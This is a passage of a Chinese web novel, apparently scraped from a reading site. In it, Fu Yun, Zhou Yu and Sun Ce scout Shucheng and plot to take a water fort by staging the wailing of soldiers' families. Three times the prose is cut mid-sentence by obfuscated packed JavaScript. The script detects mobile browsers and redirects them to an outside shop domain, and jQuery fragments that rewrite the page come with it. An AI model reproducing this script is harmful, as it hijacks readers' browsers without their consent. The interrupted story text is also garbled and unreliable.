她将汤碗放回托盘,抬眸看着孙策:“我也需亲至舒城之下,勘察地形,方可做下一步打算。” 孙策一听她要“亲至城下”,登时像被烧着尾巴的虎,猛地一跃而起: “妙极!你我二人扮作行商兄妹,掩人耳目,好好把舒城探个底朝天!” 伏韫见他激昂万分,连眼皮都未抬,只淡淡吐出两个字:“不可。” 孙策一愣,如淋冷水,尾巴还翘在半空:“为什么?” “你我皆非舒城人氏,气质言行皆易露破绽,稍有闪失,即是全盘皆输。我意,此行须请周公子同行。他是舒城人士,熟悉风土人情,由他出面,方为万全。” 孙策霎时蔫如霜打,“哦”了一声,颓然坐下,拿着筷子戳起碗里的鹿肉,几乎要将碗底都给捅穿。 “此处香气扑鼻,不知可否分我一碗鹿汤?” 一道温润如玉的声音恰逢其时登场。周瑜一袭青衫缓步而入,连天光也知趣收敛,拂散晨雾,只为衬他眉眼分明。 他目光先落在那碗几乎骨肉分离的鹿肉汤上,又转向继续阅卷的伏韫,唇角微勾,眼底已有三分洞若观火。 孙策阴阳怪气一推食盒里的另一碗汤,语气酸得能腌菜: “给你。昭晦妹妹说要去舒城,你也一块去好了。” 周瑜对义兄间歇发作的不爽置若罔闻:“兄长既要前往,我便更得小心,练好侍婢之姿才是。” 伏韫放下竹简:“非也。此行既是探情,便不可暴露。三人之中,须有主次之分,以免引人怀疑。” 她看向周瑜:“周公子既是舒城人士,最宜为主面,烦请装作归乡省亲的书生,我则扮你贴身侍婢。” 周瑜闻她话中称谓又转回生疏,微微一怔,旋即颔首道:“喏。” 她侧首,目光落在对面那位脸上写满“我呢我呢”的孙策。 “至于兄长,扮作护卫,最为稳妥。” 孙策一听差点炸锅,腾地起身,一掌拍在石桌上,连汤碗都跟着跳了一下: “凭什么我是护卫?我堂堂主帅——” “你会讲庐江话吗?” 孙策刚刚升起的怒火被骤然浇熄,无言以对,只能缓缓坐下,拿起筷子,几乎快要将碗底戳穿了,才吐出两个字:“不会。” 周瑜见状,上前笑着拍拍他的肩,语气温和: “兄长,昭晦姑娘所言极是。此番潜入敌境,步步凶险,若无你这般武艺高强之人护在侧,我们又怎敢孤身犯险?” 孙策哼了一声,勉强算是认了。 *** 舒城外,难民如蚁。 三人皆换了装束。周瑜一袭细布长衫,扮作归乡探亲的书生。伏韫着寻常婢女服饰,孙策则被迫换上最不起眼的短打劲装,背着一杆破布缠裹的长枪,亦步亦趋,跟在二人身后。 周瑜走在最前,见前方有一老妪正颤巍巍分发稀粥,便上前一步,用一口地道庐江乡音温声问道: “老人家,这城门如今还开吗?” 老妪抬头望他一眼,见他神色谦和,又听得乡音纯正,不由叹了口气: “如今袁军兵临城下,陆府君为保百姓安危,早已下令闭门不出。唉……要不是府君仁心,每日命人送米出城,我们这些老骨头,怕是早饿死在这荒郊野外了。” 孙策站在后方,目光越过人群,直直盯向那座临江而立、壁垒森严的水寨,低声附在伏韫耳畔: “瑜弟昨天说得对,舒城我们未必能进,但那水寨正处江流之眼,来往民船不断。要我说,擒贼先擒王,咱们夜里悄悄潜进去——” “兄长,此事容后再议。”伏韫轻声打断。 她注意到,舒城几乎家家户户都悬着一道黄纸朱砂所绘的符咒,符样古拙,纸质细密,非寻常道门所为。 她朝周瑜略一示意,周瑜心领神会,又问一正在补网的汉子: “大哥,我乍归故里,见家家户户皆挂此符,敢问是何因由?” 那汉子见他口音熟稔,便不设防,如数道来: “小郎有所不知,我们庐江近日来了一位仙师,这可是仙师亲手画的‘避煞符’!这仙师说,陆府君乃天命所归,有神明庇佑,只要贴上这符,外头的军队就休想进城!” “仙师……”伏韫指尖在袖中微蜷,陷入深思。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045930|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此时不远处忽有骚动传来,几名面带菜色的溃兵,正围住一个提着竹篮的小姑娘推推搡搡。 那姑娘不过十二三岁,面如纸色,死死护住篮中药草,哭声带着颤音:“这是给我阿母的救命药……求求你们,别抢……” 周瑜眉头微蹙,正要上前,却只觉一阵风自身边掠过。 孙策抬手将两名溃兵脖颈死扣,手腕一拧,如掰草折枝,那几人便横飞出去,如风筝落地,哀嚎翻滚。 整个过程快如瞬息,几乎让人看不清动作。 他拍了拍手,俯身捡起散落的药草塞回竹篮,递给那呆若木鸡的小姑娘:“拿着,快回家!以后别一个人来这种地方。” 小姑娘怔怔地抱住篮子,泪珠挂在睫毛上,怯怯地问:“敢问恩人名讳……” 孙策头也不回,已大步流星走回伏韫与周瑜身边,脸上又恢复了不耐烦的模样,嘟囔着:“看够了吧?这地方人多嘴杂,快回去。” 周瑜并不作答,趋身向不远处一位晒破蓑衣的老翁旁,温声问道: “老伯,敢问这水寨近来可曾有粮车进出?我家亲眷靠水打鱼为生,想着送些干菜换粮……” 老者闻言,抬起浑浊老眼,上下打量了他一番,忽而冷哼:“你这小郎面生,口音倒是地道,是哪家的?” 周瑜早有准备,语气从容:“晚生原是府西巷李家,自幼随母外嫁,偶有归宗,时事却不甚了了。” 老者“啧”了一声,满是不信,却还是叹道: “如今世道乱,你那老宅怕是早就荒了。陆府君倒有能耐,三座义仓五间施所都修起来了,连南街那破鱼市都翻新了——你要是小时候常去南街,如今恐怕得认不出了。” 周瑜顺势应声:“我小时最爱南街的莲子羹,不知还在不在?” “早没了。”老者摇头,神色怅然,“那掌柜的半年前就饿死了。那时候,仙师还没来。” 周瑜趁机旁敲侧击: “这仙师又是何方神圣?想来家家户户的符纸,便是这位仙师的手笔吧?” 提及仙师,老者眼神顿变,语气透出几分敬畏: “是啊,若不是仙师定了镇煞局,画了避煞符,舒城怎么能抗三个多月?” 周瑜附和着老者,连连称是,又话锋一转:“可如今寒冬时节,粮草消耗大,水寨又在城外,若是百姓们没饭吃……” 老者截断周瑜话语,冷哼一声:“小郎,告诉你吧,陆府君早在半月前就把寨中军粮运回城里了。现在那寨子就是个空壳,摆出来吓唬敌军,让他们以为粮草都还在水寨里。” 周瑜若有所思:“既然如此,便不愁温饱了。听了老伯的话,我也安心了。” 他与老人又聊了几句家常,拱手作别,回到伏韫身边。 “粮草已经悉数运回城中,目前水寨是空的,但恐怕有不少伏兵,只待我们自投罗网。” 伏韫眉心微蹙。黄符在寒风中无声摇曳,她心头隐隐升起一股难言的寒意。 11. 第十一章 军帐之内,烛火摇曳。舆图摊开在案。三人分坐,投影其上,影影绰绰,如暗潮涌动。 周瑜率先开口: “今日一见,看来陆康的确深得人心,积粮筑城,若继续坚壁清野,只怕能再拖两三载。” 伏韫手指微蜷,支颔沉思: “但周公子已经探听到那水寨已在弃子之列,若我们能夺下水寨,今后攻舒、皖,此处便是桥头堡。” 孙策闻言急不可耐: “所言极是!陆康之防,根基在水。舒皖二城互为犄角,粮草兵力皆赖此水道相通。那寨子又建在龙口之上,三面环水,一面靠山,天险自成。我看了军报,说是寨中有井,林中有鹿。若果真如此,军中便能渔猎自给。若我们此番拿下水寨,哪怕袁术那老匹夫再拖延粮草,我们也能守得长久!” 周瑜目光流转,眼神似在权衡: “但也正因如此,陆康料定我们必攻水寨。他们早已转空了粮草,布下后手,只待我们举兵,便瓮中捉鳖,一举歼灭。” 伏韫淡淡一笑,望向二人: “周公子此前言,以城门为赌注,未免太甚。但若是以此水寨为赌注,陆康究竟开是不开呢?” 孙策双眼骤然亮起,猛地挺身拍案: “不错!若依昭晦妹妹之谋行事,陆康既要试探,又要护着名声,便只能舍小保大,这水寨如今已在弃子之列,陆康必将开寨门以图全局无虞,却没想到这座寨子偏是我们需要的!” 周瑜展袖而起,换上另一方舆图: “不错,此计若成,则我们可兵不血刃夺下水寨。至于落到实处,不过两事。” 他指点舆图两处: “其一,家眷齐聚。其二,声望造势。家眷齐聚,由我手下精兵行事;而声望造势,我本舒城人士,知其痛脚所在。只要万众注目,陆康不得不开门。” 他又转眸望向孙策,神情似笑非笑。 “至于‘鬼哭狼嚎’这一折,便劳烦兄长出手整训家眷,若是必要,可亲自示范一番,叫他们届时声泪俱下,闻者落泪,见者悲伤,便算是神功大成了。” 孙策瞪眼,瞬间炸毛:“瑜弟,你有没有搞错?!你们把大事都干完了,让我去教一群老弱妇孺哭?真是大材小用!” 伏韫淡淡笑道:“兄长,此言差矣。决阵两军,正需临机应变。兄长此才,正合所用。” 周瑜唇角含笑:“是了,就当是为传国玉玺被夺时排演了。” 孙策瞪着二人你来我往,气得抡起酒盏,话不投机,便是一阵猛灌,半晌才憋出一句: “哭就哭!到时候让你们看看,什么才叫真正的嚎丧!” 忽而帐外骚动骤起。未几,一亲兵趋内: “主帅,军营外有个姑娘,说要见您。” 孙策闻言一愣,脱口一声“啊?”他本就眉目张扬,这一皱更显凌厉。 三人面面相觑,皆不明所以。他终究拂袖起身,快步而出。 营门外火把烈烈,煌煌如昼,照亮来人面容。 正是孙策此前所救的小姑娘。她怀里紧紧抱着竹篮,仿佛提醒孙策自己的身份,一见孙策,便扑通跪下,额首叩地,闷响不绝。 “将军!若非您相救,阿母早已命绝!小女子方才用药钱安顿好母亲,特来叩谢!” 孙策一愣,下意识伸手去拦,但她叩得太急,竟找不到缝隙,只能讪讪收回手: “你……你先起来,起来再说。” 小姑娘红着眼眶,缓缓起身。素衣布裙上打满了补丁,看着风尘旧色,不知用过多久。 孙策顺着火光,看到她额头已泛起一阵青红,本在心中周旋一圈的盘问又软了下来,憋出一句: “那个,你怎么知道我在这儿?” 小姑娘红着眼眶,声音细若蚊蚋: “我……我一路偷偷跟着你,找到的……” 此言既出,四周铿锵骤起,护身亲兵已抽刀横对,大有围攻之势。 小姑娘吓得肩头一颤,险些跪下求饶。孙策搀住她,挥手令亲兵收刀,却神色警惕地看了她一眼: “我可是攻庐江的‘敌军’,你贸然跟来,不怕我拔剑砍了你?” 小姑娘泣声哽咽,涕泪交加,表情真切: “若不是将军,那些恶兵便将阿母的救命钱抢走了……请将军,受妾一拜。” 孙策心头倏然一热,耳根因助人为乐而泛红,手在颈后不自在地挠来挠去,低声道: “行了行了,我这人最看不得女孩子家哭。快回去照顾你娘吧。” 这时不知谁忍不住笑嚷一声:“主帅艳福不浅啊!” 众人顿作哄笑,没大没小: “姑娘模样也标致,干脆收了当个暖床丫鬟也不错啊!” “哈哈哈,左拥右抱,这才是大将的排场嘛!” “是啊是啊,少主你就收了吧!我们大伙儿没意见!” 孙策猛地转身,眼睛一瞪,厉声喝骂: “放屁!老子救人一命,你们胡说八道成什么了!” 偏有人不知死活,挤眉弄眼: “少主身边不是有个‘丫鬟’日日伺候,一凑凑一双,岂不美哉?” 众人又是一阵哄笑,众目睽睽,目光拂过伏韫,接踵而至。 伏韫眉心微蹙,眼睑低垂,面上已冷若冰霜,呼吸不自控地重起来。 周瑜少见地敛了笑意,折扇啪然一合,自孙策身后走出,疾声厉色: “这姑娘孝心可嘉,又知感恩,宁可被杀也要道谢。你们若是男儿,当敬重而非轻薄,口吐轻狂。” 笑声顷刻收敛。众人垂目,似是被这训斥喝退。 孙策咳了一声,铁面不改,却小心翼翼地将竹篮塞回姑娘怀里,低声催促: “快回去!再胡闹,我可不管你了!” 姑娘还欲再言,周瑜已淡声截断,不容置喙:“时候不早,姑娘快归去吧。” 姑娘愣了愣,抬眸望他一眼,终究低头行礼,转身而去。 风声掠过,火光摇曳,营中归于寂静。 孙策长长吐出一口气,咕哝道:“这叫什么事儿……” 周瑜却缓缓转首,目光落在伏韫身上。她已转身回营,背影寂寥,比任何时候都冷。 他眼底隐着一抹担忧,转瞬又恢复如初。 *** 夜更深,帐外风声呼啸,伏韫独自坐于案前,指尖缓缓摩挲着一枚从舒城拾来的符纸,目光虚落,神色因烛火忽明忽暗。 侍女来报:“周公子求见。” 伏韫颔首。未几,帘幕轻轻一动,一抹颀长身影步入。 周瑜目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061721|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光先落在她清冷的眉目上,语声温和: “昭晦姑娘莫要放在心上。军中粗鄙笑语,不过随口之谈,实不足挂齿。” 伏韫眸光一闪,长睫垂下,面上却不显情绪,只冷声应道: “多谢周郎关心。但并非因他们而恼。” 周瑜见她浑身带刺,眉尖轻挑,似笑非笑,声音里不觉带了几分探意:“那……又是为何?” 伏韫这才缓缓抬眸,与他对视,眼神沉静:“我只是担心,那小姑娘会不会是奸细。” 周瑜怔了怔,旋即失笑,低声里带些调侃: “那昭晦心中如何定论?” 伏韫唇角微动,只是轻淡一语:“看那姑娘眼泪都快滴成珠子,想来应当不是。” 周瑜凝视着她,眼底的笑意渐渐加深:“那是什么?” 伏韫垂下眼睫,避开那双似能洞穿心思的眸子: “……只是桃花。” 话音一落,周瑜眼底浮上一抹更柔的笑意: “是啊,桃花本是好事。只是若开在军营里,未免惹眼。” 他跨近一步,语调放得更缓,柔声劝慰: “这些将士年轻,说话没轻没重,我已训斥过了。眼下夺取水寨之事为要,我当竭力,不使这些军中戏笑扰你心神。” 伏韫眼睫微垂:“多谢周郎关心。我……没事。” 他注视着她沉静如深潭的眼眸,良久,轻轻一叹。 “我只怕昭晦之心,会为无关之事所扰。” 说罢,他敛袖而退。她抬眸时,室中唯余烛影随风轻晃。 帐外的笑声早已散尽。寂寂空营,唯余她心头那句“少主艳福不浅”,如倒刺般深深扎入她心口。 她阖眼,记忆猝然裂开,前世画面汹涌而来—— 登基第三年,冬宴设于永乐宫。 金炉香袅,歌舞曼声,群妃环侍。她落席上座,凤冠垂影。 忽有新宠妃起身,巧笑倩兮,语带讥讽: “陛下待后宫素来仁厚,只是今日之舞,若无皇后首肯,怕是我们都无福消受了。” 殿上宾客闻言,皆是面色一沉。 她放下玉箸,心口微沉,仍温声答道:“执掌后宫,本是陛下所托,职责所在,岂敢僭越。” 本以为身旁相托的枕边人会开口斥责,却只见他举杯一笑,淡淡翻过:“今日乐甚,众爱卿举盏,同饮一杯。” 宠妃笑颜如花,孙策的无声裁定,已令她赢下这一局。 她指尖不自觉深嵌紧握,酒盏险些裂开。仰首一饮,清酒入口,冷如冬霜,百骸生寒。 当年拔剑为她怒斥不平的少年早已湮没在宫墙高处,不复当初。 自此万灯照耀的永乐宫,于她不过冷殿。 如今重生,她明知一切尚未来临,心底的旧伤却先于岁月苏醒。重来一世,她不怕局势险恶,不怕人心叵测,唯独怕这轮回再现,叫爱恨悉数重演。 她抬眸。天上月轮皎洁,她还记得,她与孙策的第一次遇见,也是这样一个月盘盈满、险遭错杀的夜晚。 只是这一次,误闯军营的人不再是她。 命运在此时开始,便会有所不同么? 她深吸一口气,将心口的颤意死死压下。只是烛火忽然一晃,眼角一点湿润,却再也蓄不住。 12. 第十二章 天色渐明,江风渐敛。 一路南下,几番奔走,周瑜总算将困在城中的孙、周二家眷安置出城,又遣人护送程普、韩当、黄盖的眷属自寿春归来。沿途虽有惊险,终究平安。至天明时分,一行人已无声息安顿于营中,半点风声未外泄。 伏韫望着那些神色尚带惊魂的妇孺,胸口才微微松开,缓缓吐出一口郁结之气。 周瑜只是淡淡一拱手,声色冷静:“险阻未过,但第一步,总算是稳了。” 然而话音未落,帐外忽传一阵啼哭。 孙策已将家眷们召至大帐之前,声色俱厉,喝道: “尔等记牢!若要哭,便哭得肝肠寸断、撕心裂肺,哭到天地动容,哭到城墙落泪!” 众人面面相觑,呆怔不解。 孙策振臂一呼,率先示范。 只见他双目一翻,面容悲戚,仿佛白发送黑发般,声泪俱下: “呜哇——我家祖宗十八代都死绝啦——!” 说罢又是捶胸顿足,嚎得气吞山河:“老天爷啊——我这孤苦命啊——!” 哭声未歇,他顺手抄起一根树枝作拐杖,佝偻身形,学起老弱模样,鼻涕眼泪齐飞,嚎声带颤: “官家——我等皆是良善百姓,求开城门,留条生路啊——!” 场中顿时死寂。 原本该肃立的士兵们,一个个肩膀先是僵住,随即一抖一抖,忍得面皮发紧。 终于有人“噗嗤”一声没憋住,笑意瞬间点燃全场。 军侯急忙拔高嗓音:“肃静!这是军令!” 谁知此喝声反倒似火星落入油锅,压抑不住的笑意霎时蔓延。 孙策霍然瞪眼,双颊涨红:“笑什么!这是性命攸关的大事!” 然而转过头,他又立刻换上一脸泪眼婆娑,鼻涕欲滴的惨状。 周瑜额角青筋微跳,似笑非笑: “兄长,此等哭声若传出去,怕是比你杀一场还叫人心惶惶。” “哼!”孙策昂首抹泪,振振有词,“这叫以情动人!届时必然妙用无穷!” 正说着,程普掀帘而入,乍闻此起彼伏的哭号声,脸色骤变,还道真有惨祸。 “少主!这是何意?莫非要驱妇孺上阵?!” 孙策愣了一瞬,见是程普,忙挺直身躯,正色道: “程公,此乃妙计——以情动人,以泪开城!” 程普脸色森冷,目光如刀,环视四顾。见周瑜果然在场,冷笑一声: “昔日周郎鼓参商,今朝少主教嚎哭。呸!世风日下!” 言罢袖袍一甩,气冲冲而去。 孙策被噎得半晌说不出话,脸色涨白,旋即强撑笑容: “哎,这是程公不懂!等到神功大成,他自会知晓!” 随即拍掌大喝: “来!大家随我哭!一遍不够三遍,三遍不够五遍。哭到连自己都信了为止!” 帐中哭声再起。先是抽噎,后渐放声嚎叫。几名妇人原就心惊胆战,此刻情绪被撩动,哭得比孙策更惨。那声音凄厉入骨,竟叫外头士卒听得心口发酸。 孙策喜不自胜,连声喝彩: “好!就是这样!再来三遍!” 哭声震得营顶几欲掀翻,忽有一声女喝自帘外厉厉传来: ——“策儿!你这是作甚!” 孙策猛然一愣。抬头望去,自家母亲已立在门口,眉宇间满是惊疑。 其侧,周母朱夫人并肩而立,神色复杂。 吴夫人冷冷扫视满帐哭嚎之景,眉心深蹙: “你带着一群妇孺叫得鬼哭狼嚎,这是要吓死谁?” 孙策几乎被噎住,连忙两步扑上,语声急切: “娘,这是诛心之计!兵者,诡道也。若靠刀枪硬拼,不知多少百姓要伤!若能以哭声开城,那才是真仁义!” 吴夫人眉峰一挑,冷笑一声: “原来孙家男儿,竟是靠嚎哭赢天下的?” 帐中士卒一个个脸涨得如虾壳,伏韫更是低头佯作咳嗽,才掩住嘴角笑意。 孙策急得直跺脚,声音都颤了: “娘啊!这是大计!哭得真切,哭得凄惨,陆康见了必定动容!届时不费一兵一卒得城——这是天赐良机!” 吴夫人冷冷一瞥,吐出两个字:“荒唐。”拂袖而去。 朱夫人亦摇头轻叹,转向周瑜:“瑜儿,你以后须得多学少主之胆识。” 周瑜神色不动,恭谨一揖:“母亲勿忧。兄长此策虽异于常理,却也颇有几分奇效。” 孙策朝母亲背影直跳脚,声声激辩: “你懂什么!你懂什么!等陆康真开城门,你们就知道我是对的!” 伏韫见状,只得低声告辞,几乎小跑而出,生怕再多停一刻,便要笑破了功。 *** 夜色深沉,风卷幕帐,灯火在暗影里忽明忽暗。 周瑜一路静随,不声不响。直到伏韫停下,抬手按着额角,轻轻叹出一口气,他才忍着笑意开口: “方才看你咬得嘴唇都要破了,险些连我也被带得失了分寸。” 伏韫侧眸,眼光斜睨: “你倒好意思说,若不是你看到你为了憋笑翻了白眼,我才不至于夺路而逃。” 二人相视,终究难以自抑,迸发大笑。 伏韫不顾形象,几乎笑出眼泪。周瑜亦被感染,听了她的笑声,更是难忍: “没想到琅琊伏氏闺秀,笑声竟如此奇异。” 伏韫看他笑得几乎没气,捧腹努力挤出这几句,便反唇相讥: “没想到庐江周氏公子,笑态竟如此滑稽。” 二人笑过,终于缓过气,周瑜亦恢复昔日慢条斯理: “笑归笑,哭归哭,若是陆康并不打算开门,我们喊破喉咙也无济于事。” 伏韫缓缓颔首:“虽说若不开门,我们便师出有名,终归下策。所以关键还是以他的民望造势。只要民意沸腾,他心中那杆秤自会倾斜。” 二人入了偏帐。灯影在帷幕上颤动,沉香与静寂,氤氲成一处隔世之境。 “这几日内外的调度,已由我旧部分散处之,虚张声势,使陆康多疑,不敢妄动。三位伯父家眷归途中数次被探子尾随,我已遣人引至岔道,如今安然无虞。” 伏韫闻言,眼底的凝色稍稍松开:“周郎手段果然不负所托。如此一来,此计之根基已稳。下一步,就该算好登场的路径了。” 她俯身在案上摊开简图,指尖在蜿蜒的线条上轻点:“若自东门虚张声势,实则从西南小径突入,可避开耳目,又能以哭声为掩饰,直近主城。但此环须得万无一失。” 周瑜低眸而笑,指尖在纸上轻轻滑过,如顺流而下:“昭晦放心,我已命人修葺舟楫。此段哭声震天之时,可瞒天过海,兵临城下。” 伏韫听着,满意地应了一声,却忽然偏首,若有所思: “不过我方才似乎瞧见,那日兄长救下的小姑娘,也在家眷人群里了?” 周瑜眼神微敛:“她父兄皆亡,孤母带她颠沛流离,实在可怜。但更要紧的是,那日她尾随而来,此事若传出去,后患无穷。” 伏韫眉梢轻挑:“所以?” 周瑜淡淡道:“所以索性请她们一家暂居水寨,既免他们胡言乱语,也算留她们一条生路。” 伏韫目光凝视着他,似在分辨这话究竟几分真情、几分假意。 周瑜神色未动,迎着她的审视,姿态从容如常。 伏韫收回目光,唇角淡笑:“周郎行事端方,想来必不是软禁。” 二人收了笑,摊开舆图,为其后行动规划具体。伏韫以玉簪一点点描过纸面,周瑜在旁执笔补线,呼吸交错之间,烛火摇曳,倒生出几分安稳气氛。 忽而帐外一阵喧嚣升腾: “咦,这是不是那天那个小姑娘?” “她怎么又来了?是来找主帅的?” “那篮子瞧着怎么沉甸甸的?” 士兵压低声音,窃笑阵阵: “哎呀,这是拿来孝敬少主的吧?” “嚷那么大声做什么!小心被军法!” “反正早晚都得是少主的人了,嚷嚷怎么了?” 笑声层层叠起,终究难抑,反倒愈发热闹起来。 伏韫手中玉簪一顿,抬眸看去,眸光晦暗不明。周瑜看在眼里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065501|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面上依旧镇定,眉心却微不可察地一蹙,只能盯紧她的神色,低声试探: “昭晦?” 伏韫没有应声,只是打算拿起案前茶盏,但因分心而手心不稳,啪嗒一声,杯倾水溅,逃逸的水珠迅速在舆图上洇开,帛书墨迹霎时一片模糊。 两人同时伸手去按,手背骤然相触的瞬间,忽然“噗”的一声,火折子竟熄灭。 黑暗如幕倾下,耳畔只余水滴如更漏,未几停息,湿痕却如有声,涟漪圈圈。 帐外风声一瞬间放大,笑声远隔重幕,如人在水下,又似隔世娑影。帐内却只余两人呼吸急促,温热熨帖,近得几乎能听见彼此的心跳。 伏韫压下心慌,低声道:“我去点灯。” “莫动,小心地上。”周瑜声音沉稳。 话音未落,伏韫果然踢倒铜炉,零星火星熄灭,脚下一绊。她身形一歪,还未来得及稳住,忽然腰间一紧,整个人被扣进怀中。 她心口猛地一跳。 五感失明,耳畔只余男人的气息,如重山俯视,排山倒海,压迫得过分。 帐外正是哄笑声最盛之时,声浪一阵高过一阵,偏生在此刻,似有所指,令她分心一瞬。 她低声“多谢”,急忙支撑着要起身,可因黑暗遮目,未及站稳,又一个趔趄,几乎再次跌倒。 但他的手掌并未放开,反而顺势扣得更紧,仿佛早已料定她此刻的失神。 她一惊,抬首看他。漫无边际的墨色吞噬他五官的棱角,但他掌心透出克制的灼热,如神像开裂一罅,君子失格。 她心口被击得一颤,愈发感到那触感隔衣而来,如火烙肌。她明明想推开,在他有力的臂弯下,四肢却软如无力,挣脱不得。 黑暗里,她能听见自己急促的心跳几乎要盖过帐外的窃笑余音,只得强自掩饰,唇边溢出一声笑,语气故作镇定: “周郎果然见惯风波,临事不乱。” 他未即答,反而有意俯近,气息几乎擦过她颊侧,沉沉压下: “相处日久,自然习得昭晦几分行事。” 那一声“昭晦”,如指腹缓缓勾勒,仿佛在黑暗中刻意为她而念。 心跳如擂鼓震耳,她偏偏执拗,故意转过脸去,于黑暗中直视他,挑唇一勾,语气似笑非笑: “无怪乎周郎时时从容。” 却不料他也低下头来,近在咫尺,仿佛稍一贴近,便会唇齿相接。 呼吸与呼吸几乎纠缠,如困兽斗角相抵,他的声音低低压来,尾音沙哑,仿佛带着隐忍已久的欲夺之势: “盖以……未为初矣。” 她呼吸一窒,方才惊觉耳尖此时已滚烫非常。 黑暗虽掩去一切,她却仿佛被牢牢攫住,困在他有力的怀抱与无形的目光之间,动不得,亦不愿动。 沉默片刻,却漫长如一世,伏韫终于从这混着危险与心悸的静默泥沼中挣脱,一把推开他: “我去点灯。” 她的声音里仍带着心跳过速而起的细微颤意,一壁摸索着走向烛台,靠近窗台。 “嗤——” 火折子划燃,一豆橘黄的微光骤然亮起,在黑暗中重新勾勒出她的侧脸。光影在她睫羽间轻颤,将面上强自镇定的微白一览无遗地显照。 周瑜站在她身后,没有出声,只是凝望着豆光下她的轮廓,心中蓦然兜起,也是这样一个夜晚,也是这样将熄未熄的灯火下,她亦是这样背对着他,用近乎破碎的疲惫,吐露了那个关于洞玄派的秘密,和与天对弈、落子无悔的誓意。 帐内重归明亮。伏韫折返,深吸一口气,将方才的失控驱散,下一息,神色复归沉稳,又侃侃而谈道: “方才说道水路突入的路线,若是陆路,亦须充足人手,以备不虞。” 她缓缓踱步,余光一瞥,脚步忽然一顿。 那道由周瑜亲手勾勒的水路线条,前半段笔锋精准果决,可到了后半段,就在那场黑暗之后的衔接处,本应一贯稳健的墨线,却遽然出现一丝极其细微的颤抖。 伏韫没有立刻抬头,只用目光缓缓拂过那道走神的墨迹。 她知道,心门外,他也与她有着一样的失神。 13. 第十三章 清晨日头未高,帐中薄雾微起,透着冰凉。 伏韫醒得极早,睡意全无,便披衣而起。半梦半醒的睁眼之间,脑海中全是那夜黑暗中的靠近与呢喃,如鬼魅如影随行,令她又生出几分悸动。 她推开帘布一角。寒风刮面,她站了片刻,眼神迷离,注视太阳升起,又无声退了回去。 伏韫打开行囊,还是周瑜借予自己的那把琴。她本不想带上,但他说军营日枯苦长,闲来烦闷,奏上一曲,也能安息凝神。 她抬手,指尖摩挲而上,调弦已毕,终于落指。 初时音色尚稳,渐渐却急促凌乱,越欲强压,心绪便乱涌不歇,将她一线理智冲刷殆尽。 他的手、他的气息、那声贴近耳畔的“盖以……未为初矣”、那一笔颤抖的锋辙……全都缠绕在弦音间。 “盖以未为初矣”,她不敢细想这句话。周瑜言下之意,当是指她误着内衫、叫他看了正着的糗事,但她心中知晓,这的确已不是他们的第一次相遇。 前世,她与他君子之交,素知他持中端方,克己复礼,从来是温润如玉的君子模样,一眼便可看透的澄澈坦荡,从不知,他还有如此隐忍却放肆的一面。 如冰山裂开,岩浆喷泄一瞬,便复归沉寂。 琴弦终究难堪心绪重重呼啸,“铮”的一声,应声而断,嘈杂一嘶。 她怔在原地,看着断弦垂落,如自己的情绪具象投射。 她知道,周瑜的心乱了。 可更乱的,是她自己。 自己是这个世界唯一的变数。但为何与她相识多年的周瑜,却在重逢后,令她如此熟悉,又如此陌生。在她心中,他一直如水般温文尔雅,但带着上一世的回忆观之,却发现他自始至终藏锋鞘中,隐有风雷。 她想,或许自己从未真正认识过他。 来日方长。但,此刻的自己,又在悸动什么? 她隐约期待,希望他会推门而入,或许责备她弄坏了他的爱琴,或许只是顾曲“此调不和”……哪怕只是听到他的声音,也好。 她也清楚他并不会来。 此刻的周瑜,正换了布衣,混迹城中,扮作平民百姓,煽动民意,逼迫陆康开门。此局未竟,她知道他不会、也不该来。 伏韫垂眸,抚摸那根断弦,仿佛被困在倏然断裂无绪的思维中,走不出去。 不知过了多久,忽然帘外传来一阵轻快的脚步,雀跃而入。 孙策额角汗水未干,衣上尘土犹在,整个人如一团火气撞了进来。 “哈哈哈!昭晦妹妹!你可错过了我生平最出彩的一场好戏!” 伏韫见他眼神亮得出奇,便知此计已成,但依旧关切道:“行动如何?” “那还用说?当然是大!获!全!胜!” 孙策兴奋地立在她面前,绘声绘色演起来: “先是一群家眷水流而下,哭声震天。城上守军向陆康报告,不久陆康疾步而出,结果看到带头的是我,脸一下就变得菜绿,想走的时候,城下已经围了不少百姓了。” 伏韫略一挑眉:“他认出你了?” “当然了。所以我就说,上次找他借粮,他就是故意不见,其实偷偷躲在暗处看我呢,不然怎么一见我就面如土色的?” 说罢,他已然入戏,开始压低嗓音,学着陆康的语气: “‘你怎么在这?你要耍什么把戏?’” 伏韫唇角微动,忍不住笑意。 孙策见状,更添兴致,滔滔不绝: 